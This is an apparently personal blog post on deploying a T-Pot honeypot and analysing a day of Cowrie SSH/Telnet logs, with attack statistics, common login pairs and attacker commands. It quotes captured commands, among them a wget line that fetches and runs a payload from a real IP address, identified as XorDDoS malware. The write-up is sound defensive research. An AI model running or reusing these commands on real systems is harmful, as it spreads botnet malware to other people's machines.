Honeypot Series #1: Oh Snap! Did My Honeypot Just Get Breached?

It was a typical Saturday evening. I was sipping my coffee, scrolling through some logs on my Newly deployed Honeypot when a peculiar…

It was a typical Saturday evening. I was sipping my coffee, scrolling through some logs on my Newly deployed Honeypot when a peculiar pattern caught my eye. My honeypot, designed to be the digital flytrap for hackers, was full of alerts just after being deployed.

My Brain: Did my honeypot attract a hacker or was it just a bot?

Join me as I unravel this digital mystery, step by step, byte by byte.

How I created this infrastructure

  1. Create a droplet in the digital ocean. I prefer at least 8GB RAM + 4 vCPUs with Debian 11.
  2. Then, clone the repo: Tpotce — https://github.com/telekom-security/tpotce.
    T-Pot, or T-PotCE (T-Pot Community Edition), is a cutting-edge honeypot platform developed by Telekom Security. Designed to lure and analyze potential threats in the cyber landscape, T-Pot integrates various honeypot daemons and tools under one unified framework. With its seamless integration of Elastic Stack, it offers real-time data visualization, making it easier for users to monitor and analyze cyber threats. Open-sourced and community-driven, T-PotCE stands as a testament to the collaborative spirit of the cybersecurity community, providing a robust tool for researchers and professionals to study and counteract cyberattacks.”
  3. Execute the below bash commands to install it.
git clone https://github.com/telekom-security/tpotce 
cd tpotce/iso/installer/ 
./install.sh --type=user

That is it!!!

Where to go next

  1. Go to the link on your browser and accept the certificate — https://[IP]:64297

2. Go to Kibana to visualize the ELK stack logs we gathered.

3. Click on the dashboard, then “>T-Pot” to see the summary of what honeypots are being hit and exploited

Figure 1

Analysis and Discovering what the bots are up to

As we can see from Figure 1, the most exploited are “Cowrie” and “Honeytrap”.

Today, We are going to delve deep and focus on just the Cowrie Module. I can go through other modules if you guys like it :)

Cowrie is an advanced honeypot system designed to emulate SSH and Telnet servers, capturing all intrusion attempts. It acts as a decoy, presenting attackers with a simulated environment, thereby logging their activities and interactions. Originally a fork of the Kippo project, Cowrie has since evolved, offering richer functionalities like full command logging, file download tracking, and support for both SSH and Telnet protocols. By providing insights into attacker methods and tools, Cowrie aids cybersecurity professionals in understanding threats and bolstering their defenses.

Overview of Cowrie dashboard

  1. On the dashboard home page, search for “Cowrie” and click on it
Figure 2

2. Feel free to edit the time range in the top right corner. I have set the last 24 hours because it is a fresh instance and has been up for like 12 hours straight.

Interesting component analysis and inference

  1. Summary
Figure 3

Figure 3 says that we had 3856 attacks related to ssh and telnet in the past 24 hours. All these attacks originated from 178 unique IPs and had 13 different SSH clients based on fingerprinting.

2. Attacks vs Time

Figure 4
Figure 5

The inference here is that there is a spike in traffic around 9:00 a.m. Possibly a brute force ???? hmmmm, interesting.

Figure 6

The majority seems to be on port 22, that is SSH. It seems to be coming from Australia (bots from other countries remained the same all the time, not a huge variance). — based on Figure 5,6.

3. Attack by country

Figure 7

We see that the majority is from Australia and China where the response for Australia being top is because of the SSH brute force around 9:00 AM.

On further analysis of the IP, I found out that the top IP is part of digital cloud infra (Australia). So, someone is using it to aid the attack.

Source

4. SSH client banners

Figure 8
SSH-2.0-Go 
SSH-2.0-PUTTY 
SSH-2.0-OpenSSH_7.4 
SSH-1.5-Server 
SSH-2.0-OpenSSH 
SSH-2.0-ZGrab ZGrab SSH Survey 
SSH-2.0-libssh-0.1 
SSH-2.0-libssh2_1.10.0 
��*%\xe0�����Cookie: mstshash=test 
 �7'(" \xe1\x8e\xc8~\xf2\x9ao\xa8ۍ\xef\xf9\x87\x9eɍ\xe7Εwյ\xc7\xf3Z \x8f[\AG\xf9Jʊ\xaaL\x9d\x90\xd81\xda}1%\xa4fwA\xd9\xf7\xd8T&b�&̨̩\xc0/\xc00\xc0+\xc0,\xc0\xc0 \xc0\xc0 
 �\xdfpk\xa8 J\xfc\xe2j~\x88~.œ\xc6d\x8e!`\xb2\xe8B\xef\x84ٖt]\xdd  
e#\x9e\x88\x888\x9f\xe1\x9b/@\xf9]BVh\xdb#8\x8b\x97\xe2\xd9V\xbd�&̨̩\xc0/\xc00\xc0+\xc0,\xc0\xc0 \xc0\xc0 
MGLNDD_146.190.118.237_22 
SSH-2.0-OpenSSH_7.9p1

Some seem to be malformed or non-standard banners, possibly indicative of a scanning tool or a specific exploit attempt.

So, The bots are always trying to find a weak target.

5. Username & Password

Figure 9

The above figure shows that root:123456 seems to be the most tried combination of all.

Figure 10

From the above picture, it is evident that the root is commonly tried for usernames.

Figure 11

Similarly, 123456 is the most common password, whereas “1qaz@WSX” is a pattern for stupid passphrase requirements <link>.

6. Most Run commands

Figure 12

We have shell and system to be the most run commands on the system after getting in through SSH.

shell 
system 
dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s 
enable 
sh 
while read i 
rm .s; exit 
/bin/eyshcjdmzg 
uname -a 
/bin/busybox GQHGF 
/bin/busybox IHZQU 
/bin/busybox JSTKG 
/bin/busybox QDDKX 
/bin/busybox TAWAG 
/bin/busybox TUNRQ 
/bin/busybox YXJNE 
/bin/busybox ZTZOM 
cat /proc/mounts; /bin/busybox GQHGF 
cat /proc/mounts; /bin/busybox IHZQU 
cat /proc/mounts; /bin/busybox JSTKG 
cat /proc/mounts; /bin/busybox QDDKX 
cat /proc/mounts; /bin/busybox TAWAG 
cat /proc/mounts; /bin/busybox TUNRQ 
cat /proc/mounts; /bin/busybox YXJNE 
cat /proc/mounts; /bin/busybox ZTZOM 
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GQHGF 
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IHZQU 
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JSTKG 
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QDDKX 
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TAWAG 
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TUNRQ 
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YXJNE 
cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZTZOM 
ls -la /var/run/gcc.pid 
rm .s; wget http://81.162.13.243:22527/.i; chmod 777 .i; ./.i; exit 
tftp; wget; /bin/busybox GQHGF 
tftp; wget; /bin/busybox IHZQU 
tftp; wget; /bin/busybox JSTKG 
tftp; wget; /bin/busybox QDDKX 
tftp; wget; /bin/busybox TAWAG 
tftp; wget; /bin/busybox TUNRQ 
tftp; wget; /bin/busybox YXJNE 
tftp; wget; /bin/busybox ZTZOM 
uname -s -v -n -r -m

I have provided a few commands that have been executed in my environment.

Let’s break down some of the notable patterns and their implications:

  1. Basic System Reconnaissance:
  • uname -a: This command retrieves detailed information about the system's kernel, architecture, and version. It's a common initial step for attackers to understand the environment they've landed in.
  • uname -s -v -n -r -m: Similar to the above, this command provides specific system details.
  • cat /proc/mounts: This command lists all mounted filesystems. It can give the attacker insights into available storage devices, partitions, and their mount points.

2. Shell Interaction:

  • shell, system, sh, enable: These commands indicate attempts to gain or interact with a shell environment. This is typical behavior for attackers trying to execute further commands or scripts.

3. File Operations:

  • dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s: This complex command seems to be trying multiple operations: copying data, reading a file, and echoing its content. It's likely an attempt to retrieve or manipulate specific files.
  • rm .s; exit: This command deletes a file named .s and then exits the session. It suggests cleanup activity after some malicious operation.
  • cd /dev/shm; cat .s || cp /bin/echo .s: This command navigates to the shared memory directory and either reads or copies a file. The /dev/shm directory is often used by attackers for temporary storage of malicious files because its content is stored in RAM and not on disk.

4. Download and Execution:

  • rm .s; wget http://81.162.13.243:22527/.i; chmod 777 .i; ./.i; exit: This command sequence deletes a file, downloads another from a specific URL, grants it full permissions, and then executes it. This is a clear indication of a payload download and execution attempt.

5. Potential Brute Force or Enumeration:

  • Commands starting with /bin/busybox followed by random strings (e.g., GQHGF, IHZQU, etc.) suggest an attempt to invoke BusyBox with various arguments. This could be an enumeration or brute-force attempt to find valid commands or backdoors.

6. Miscellaneous:

  • ls -la /var/run/gcc.pid: This command checks for the existence of a specific process ID file, possibly to detect certain running services or applications.
  • while read i: This partial command suggests looping through input, possibly processing a list or stream of data.

7. Any Downloads? and Analysis of it

Figure 13

Let’s pick the top one.

Figure 14

The file is transferred from a FTP server and then executed. What would that file be? On further analysis, I found that:

It appears to be an XORDDoS attack, also known as an exclusive OR distributed denial of service attack. This malware was first detected in 2014 and has since increased in frequency by 254%. The objective is to create a botnet, which is a group of compromised computers that can be utilized to launch attacks, to disrupt the availability of targets through a DDoS attack. In other words, the attacker has infected my honeypot with malware that will attempt to take control of it and use it to attack other computers. The purpose of a DDoS attack is to overwhelm the target with traffic from the botnet, rendering it unavailable to legitimate users. <link>


Conclusion

The conclusion is that it was just a bot doing its routine, and not an attacker.

In a mere 15 minutes after activation, my honeypot was already barraged with brute force attempts. Astonishingly, the initial contact was made just seconds after its launch.

Attackers are getting better with automation, post-exploitation, and covering their traces. We might stop 20% of the attack just with IP reputation but that is not an ideal solution.

Deploying decoys offers invaluable insights, allowing us to proactively analyze and strategize, ensuring we remain one step ahead in this relentless game of cat and mouse.


Thanks for reading. If you want frequent updates, feel free to follow me here.

If you want to reach out to me, here is my Twitter and LinkedIn.

☛ My-Twitter
My-Linkedin

Signing off…


References:

  1. https://github.com/telekom-security/tpotce
  2. https://infosecwriteups.com/hackers-hate-him-find-out-why-honeypot-series-part-2-bbafbc83dd14
  3. https://news.ycombinator.com/item?id=13386224
  4. https://github.com/cowrie/cowrie